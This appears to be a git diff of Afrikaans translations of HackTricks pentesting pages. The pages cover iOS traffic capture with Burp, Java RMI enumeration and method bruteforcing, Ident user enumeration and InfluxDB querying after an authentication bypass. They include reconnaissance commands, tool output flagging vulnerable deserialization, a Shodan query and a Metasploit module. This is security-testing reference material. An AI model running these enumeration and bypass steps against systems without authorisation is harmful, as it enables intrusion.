3. Na identifikasie van die UDID, moet **Wireshark** geopen word, en die "rvi0" koppelvlak gekies word vir data-opname.
4. Vir geteikende monitering, soos die vasvang van HTTP-verkeer wat verband hou met 'n spesifieke IP-adres, kan Wireshark se Vangsfilters gebruik word:
3. Na identifisering van die UDID, moet **Wireshark** geopen word, en die "rvi0" koppelvlak gekies word vir data-opname.
4. Vir geteikende monitering, soos die vasvang van HTTP-verkeer wat verband hou met 'n spesifieke IP-adres, kan Wireshark se Vastvangfilters gebruik word:
## Burp Sertifikaatinstallasie in Simulator
* **Voer Burp-sertifikaat uit**
* **Voer Burp Sertifikaat uit**
In _Proxy_ --> _Opsies_ --> _CA-sertifikaat uitvoer_ --> _Sertifikaat in DER-formaat_
@ -103,10 +103,10 @@ Stappe om Burp as proksi te konfigureer:
* Klik op _**Ok**_ en dan in _**Toepas**_
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkvloei outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -117,7 +117,7 @@ Kry Vandag Toegang:
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks in PDF af** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -6,19 +6,19 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -34,20 +34,20 @@ PORT STATE SERVICE VERSION
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
Gewoonlik is slegs die verstek _Java RMI_ komponente (die _RMI Registry_ en die _Activation System_) gebind aan algemene poorte. Die _remote objects_ wat die werklike _RMI_ toepassing implementeer, is gewoonlik aan lukrake poorte gebind soos in die uitset hierbo.
Gewoonlik is slegs die standaard _Java RMI_ komponente (die _RMI Registry_ en die _Activation System_) aan algemene poorte gebind. Die _remote objects_ wat die werklike _RMI_ aansoek implementeer, is gewoonlik aan lukrake poorte gebind soos in die uitset hierbo.
_nmap_ het soms probleme om _SSL_ beskermde _RMI_ dienste te identifiseer. As jy 'n onbekende ssl diens op 'n algemene _RMI_ poort teëkom, moet jy verder ondersoek instel.
_nmap_ het soms probleme om _SSL_ beskermde _RMI_ dienste te identifiseer. As jy 'n onbekende ssl-diens op 'n algemene _RMI_ poort teëkom, moet jy verder ondersoek instel.
## RMI Komponente
Om dit eenvoudig te stel, maak _Java RMI_ dit vir 'n ontwikkelaar moontlik om 'n _Java object_ beskikbaar te stel op die netwerk. Dit maak 'n _TCP_ poort oop waar kliënte kan koppel en metodes op die ooreenstemmende objek kan aanroep. Ten spyte van hoe eenvoudig dit klink, is daar verskeie uitdagings wat _Java RMI_ moet oplos:
Om dit eenvoudig te stel, maak _Java RMI_ dit vir 'n ontwikkelaar moontlik om 'n _Java object_ beskikbaar te stel op die netwerk. Dit maak 'n _TCP_ poort oop waar kliënte kan koppel en metodes op die ooreenstemmende objek kan aanroep. Alhoewel dit eenvoudig klink, is daar verskeie uitdagings wat _Java RMI_ moet oplos:
1. Om 'n metodeoproep via _Java RMI_ te stuur, moet kliënte die IP-adres, die luisterpoort, die geïmplementeerde klas of koppelvlak en die `ObjID` van die geteikende objek ken (die `ObjID` is 'n unieke en lukrake identifiseerder wat geskep word wanneer die objek beskikbaar gemaak word op die netwerk. Dit is nodig omdat _Java RMI_ toelaat dat verskeie objekte op dieselfde _TCP_ poort luister).
2. Verre kliënte kan hulpbronne op die bediener toewys deur metodes op die blootgestelde objek aan te roep. Die _Java virtuele masjien_ moet byhou watter van hierdie hulpbronne nog in gebruik is en watter van hulle deur die afvalverwydering ingesamel kan word.
1. Om 'n metode-oproep via _Java RMI_ te stuur, moet kliënte die IP-adres, die luisterpoort, die geïmplementeerde klas of koppelvlak en die `ObjID` van die geteikende objek ken (die `ObjID` is 'n unieke en lukrake identifiseerder wat geskep word wanneer die objek op die netwerk beskikbaar gestel word. Dit is nodig omdat _Java RMI_ toelaat dat verskeie objekte op dieselfde _TCP_ poort luister).
2. Verre kliënte kan hulpbronne op die bediener toewys deur metodes op die blootgestelde objek aan te roep. Die _Java virtuele masjien_ moet byhou watter van hierdie hulpbronne nog in gebruik is en watter van hulle deur die gemorsverwydering ingesamel kan word.
Die eerste uitdaging word opgelos deur die _RMI-registrasie_, wat basies 'n benamingdiens vir _Java RMI_ is. Die _RMI-registrasie_ self is ook 'n _RMI-diens_, maar die geïmplementeerde koppelvlak en die `ObjID` is vas en bekend by alle _RMI_ kliënte. Dit maak dit vir _RMI_ kliënte moontlik om die _RMI-registrasie_ te verbruik deur net die ooreenstemmende _TCP_ poort te ken.
Die eerste uitdaging word opgelos deur die _RMI-register_, wat basies 'n benamingsdiens vir _Java RMI_ is. Die _RMI-register_ self is ook 'n _RMI-diens_, maar die geïmplementeerde koppelvlak en die `ObjID` is vas en bekend by alle _RMI_ kliënte. Dit maak dit vir _RMI_ kliënte moontlik om die _RMI-register_ te verbruik deur net die ooreenstemmende _TCP_ poort te ken.
Wanneer ontwikkelaars hul _Java-objekte_ binne die netwerk beskikbaar wil maak, bind hulle dit gewoonlik aan 'n _RMI-registrasie_. Die _registrasie_ stoor alle inligting wat nodig is om met die objek te verbind (IP-adres, luisterpoort, geïmplementeerde klas of koppelvlak en die `ObjID`-waarde) en maak dit beskikbaar onder 'n menslike leesbare naam (die _gebonde naam_). Kliënte wat die _RMI-diens_ wil verbruik, vra die _RMI-registrasie_ vir die ooreenstemmende _gebonde naam_ en die registrasie gee al die nodige inligting om te koppel. Dus, die situasie is basies dieselfde as met 'n gewone _DNS_ diens. Die volgende lys toon 'n klein voorbeeld:
Wanneer ontwikkelaars hul _Java objekte_ binne die netwerk wil beskikbaar maak, bind hulle dit gewoonlik aan 'n _RMI-register_. Die _register_ stoor alle inligting wat nodig is om met die objek te verbind (IP-adres, luisterpoort, geïmplementeerde klas of koppelvlak en die `ObjID`-waarde) en maak dit beskikbaar onder 'n menslike leesbare naam (die _gebonde naam_). Kliënte wat die _RMI-diens_ wil verbruik, vra die _RMI-register_ vir die ooreenstemmende _gebonde naam_ en die register gee al die nodige inligting om te koppel. Dus, die situasie is basies dieselfde as met 'n gewone _DNS_ diens. Die volgende lys toon 'n klein voorbeeld:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
@ -71,7 +71,7 @@ e.printStackTrace();
}
}
```
Die tweede van die bogenoemde uitdagings word opgelos deur die _Verspreide Vullisverwyderaar_ (_DGC_). Dit is nog 'n _RMI-diens_ met 'n bekende `ObjID`-waarde en dit is beskikbaar op basies elke _RMI-eindpunt_. Wanneer 'n _RMI-kliënt_ begin om 'n _RMI-diens_ te gebruik, stuur dit 'n inligting na die _DGC_ dat die ooreenstemmende _afgeleë voorwerp_ in gebruik is. Die _DGC_ kan dan die verwysingsgetal volg en ongebruikte voorwerpe skoonmaak.
Die tweede van die bogenoemde uitdagings word opgelos deur die _Verspreide Vullisverwyderaar_ (_DGC_). Dit is 'n ander _RMI-diens_ met 'n bekende `ObjID`-waarde en dit is beskikbaar op basies elke _RMI-eindpunt_. Wanneer 'n _RMI-kliënt_ begin om 'n _RMI-diens_ te gebruik, stuur dit 'n inligting na die _DGC_ dat die ooreenstemmende _afgeleë voorwerp_ in gebruik is. Die _DGC_ kan dan die verwysingsgetal volg en ongebruikte voorwerpe skoonmaak.
Saam met die verouderde _Aktiveringsisteem_ is hierdie die drie verstekkomponente van _Java RMI_:
@ -143,9 +143,9 @@ $ rmg enum 172.17.0.2 9010
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
Die uitset van die enumerasie-aksie word in meer besonderhede verduidelik in die [dokumentasiebladsye](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) van die projek. Afhangende van die uitkoms, moet jy probeer om geïdentifiseerde kwesbaarhede te verifieer.
Die uitset van die enumerasie-aksie word meer in detail verduidelik in die [dokumentasiebladsye](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) van die projek. Afhangende van die uitkoms, moet jy probeer om geïdentifiseerde kwesbaarhede te verifieer.
Die `ObjID` waardes wat deur _remote-method-guesser_ vertoon word, kan gebruik word om die bedryfstyd van die diens te bepaal. Dit mag help om ander kwesbaarhede te identifiseer:
Die `ObjID`-waardes wat deur _remote-method-guesser_ vertoon word, kan gebruik word om die bedryfstyd van die diens te bepaal. Dit mag help om ander kwesbaarhede te identifiseer:
```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
@ -160,7 +160,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
Selfs wanneer geen kwesbaarhede geïdentifiseer is tydens enumerasie, kan die beskikbare _RMI_ dienste steeds gevaarlike funksies blootstel. Verder, ten spyte van _RMI_ kommunikasie na _RMI_ standaard komponente wat beskerm word deur deserialisasie filters, wanneer daar met aangepaste _RMI_ dienste gepraat word, is sulke filters gewoonlik nie op hul plek nie. Om geldige metode handtekeninge op _RMI_ dienste te ken, is dus waardevol.
Ongelukkig ondersteun _Java RMI_ nie die opnoem van metodes op _afgeleë voorwerpe_ nie. Dit gesê wees, dit is moontlik om metode handtekeninge te bruteforce met gereedskap soos [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) of [rmiscout](https://github.com/BishopFox/rmiscout):
Ongelukkig ondersteun _Java RMI_ nie die opnoem van metodes op _remote objects_ nie. Dit gesê wees, dit is moontlik om metode handtekeninge met gereedskap soos [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) of [rmiscout](https://github.com/BishopFox/rmiscout) te bruteforce:
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
@ -225,7 +225,7 @@ Meer inligting kan gevind word in hierdie artikels:
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://bishopfox.com/blog/rmiscout)
Afgesien van raaiwerk, moet jy ook soek in soekmasjiene of _GitHub_ vir die koppelvlak of selfs die implementering van 'n teengekomde _RMI_ diens. Die _gebonde naam_ en die naam van die geïmplementeerde klas of koppelvlak kan hier nuttig wees.
Afgesien van raaiwerk, moet jy ook in soekmasjiene of _GitHub_ kyk vir die koppelvlak of selfs die implementering van 'n teengekomde _RMI_ diens. Die _gebonde naam_ en die naam van die geïmplementeerde klas of koppelvlak kan hier nuttig wees.
## Bekende Koppelvlakke
@ -290,7 +290,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
```
## Shodan
* `port:1099 java`
* `poort:1099 java`
## Gereedskap
@ -311,7 +311,7 @@ Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
@ -321,13 +321,13 @@ Kry Toegang Vandag:
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -6,7 +6,7 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,10 +14,10 @@ Ander maniere om HackTricks te ondersteun:
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -25,7 +25,7 @@ Kry Vandaag Toegang:
Die **Ident-protokol** word oor die **Internet** gebruik om 'n **TCP-konneksie** met 'n spesifieke gebruiker te assosieer. Oorspronklik ontwerp om te help met **netwerkbestuur** en **sekuriteit**, werk dit deur 'n bediener toe te laat om 'n klient op poort 113 te ondervra om inligting oor die gebruiker van 'n spesifieke TCP-konneksie te versoek.
Tog, as gevolg van moderne privaatheidskwessies en die potensiaal vir misbruik, het die gebruik daarvan afgeneem aangesien dit onbedoeld gebruikersinligting aan ongemagtigde partye kan blootstel. Verbeterde sekuriteitsmaatreëls, soos versleutelde konneksies en streng toegangsbeheer, word aanbeveel om hierdie risiko's te verminder.
Tog, as gevolg van moderne privaatheidskwessies en die potensiaal vir misbruik, het die gebruik daarvan afgeneem omdat dit onbedoeld gebruikersinligting aan ongemagtigde partye kan blootstel. Verbeterde sekuriteitsmaatreëls, soos versleutelde konneksies en streng toegangsbeheer, word aanbeveel om hierdie risiko's te verminder.
**Verstekpoort:** 113
```
@ -36,7 +36,7 @@ PORT STATE SERVICE
### **Handmatig - Kry gebruiker/Identifiseer die diens**
As 'n masjien die ident- en samba-diens (445) hardloop en jy aan samba verbind is deur die poort 43218 te gebruik. Jy kan uitvind watter gebruiker die samba-diens hardloop deur die volgende te doen:
As 'n masjien die ident en samba (445) dienste hardloop en jy is aan die samba diens verbind deur die poort 43218 te gebruik. Jy kan uitvind watter gebruiker die samba diens hardloop deur die volgende te doen:
![](<../.gitbook/assets/image (15) (1) (1).png>)
@ -67,7 +67,7 @@ PORT STATE SERVICE VERSION
```
### Ident-gebruiker-enum
[**Ident-gebruiker-enum**](https://github.com/pentestmonkey/ident-user-enum) is 'n eenvoudige PERL-skrip om die ident-diens (113/TCP) te ondervra om die eienaar van die proses wat op elke TCP-poort van 'n teikensisteem luister, te bepaal. Die lys van gebruikersname wat ingesamel is, kan gebruik word vir wagwoordgissingaanvalle op ander netwerkdienste. Dit kan geïnstalleer word met `apt install ident-user-enum`.
[**Ident-gebruiker-enum**](https://github.com/pentestmonkey/ident-user-enum) is 'n eenvoudige PERL-skrip om die ident-diens (113/TCP) te ondervra om die eienaar van die proses wat luister op elke TCP-poort van 'n teikensisteem te bepaal. Die lys van gebruikersname wat ingesamel is, kan gebruik word vir wagwoord raai-aanvalle op ander netwerkdienste. Dit kan geïnstalleer word met `apt install ident-user-enum`.
```
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
@ -85,10 +85,10 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
identd.conf
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -111,16 +111,16 @@ Name: Enum Users
Description: Enumerate Users
Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all open ports)
```
<details>
<besonderhede>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<opsomming><sterk>Leer AWS-hacking vanaf nul tot held met</sterk> <a href="https://training.hacktricks.xyz/courses/arte"><sterk>htARTE (HackTricks AWS Red Team Expert)</sterk></a><sterk>!</sterk></opsomming>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
</besonderhede>

View file

@ -1,9 +1,9 @@
# 8086 - Pentesting InfluxDB
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -18,7 +18,7 @@ Ander maniere om HackTricks te ondersteun:
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
@ -66,7 +66,7 @@ _internal
```
#### Wysig tabelle/meetpunte
Die [**InfluxDB-dokumentasie**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/) verduidelik dat **meetpunte** in InfluxDB ge-parallel kan word met SQL-tabelle. Die benaming van hierdie **meetpunte** dui op hul onderskeie inhoud, elkeen bevat data wat relevant is vir 'n spesifieke entiteit.
Die [**InfluxDB-dokumentasie**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/) verduidelik dat **meetpunte** in InfluxDB vergelyk kan word met SQL-tabelle. Die benaming van hierdie **meetpunte** dui op hul onderskeie inhoud, elkeen bevat data wat relevant is vir 'n spesifieke entiteit.
```bash
> show measurements
name: measurements
@ -116,7 +116,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
```
{% hint style="warning" %}
In sommige toetse met die verifikasie omseil, is daar opgemerk dat die naam van die tabel tussen dubbele aanhalingstekens moes wees soos: `select * from "cpu"`
Met sommige toetse met die verbygaan van die verifikasie is daar opgemerk dat die naam van die tabel tussen aanhalingstekens moet wees soos: `select * from "cpu"`
{% endhint %}
### Outomatiese Verifikasie
@ -129,18 +129,18 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -6,23 +6,23 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
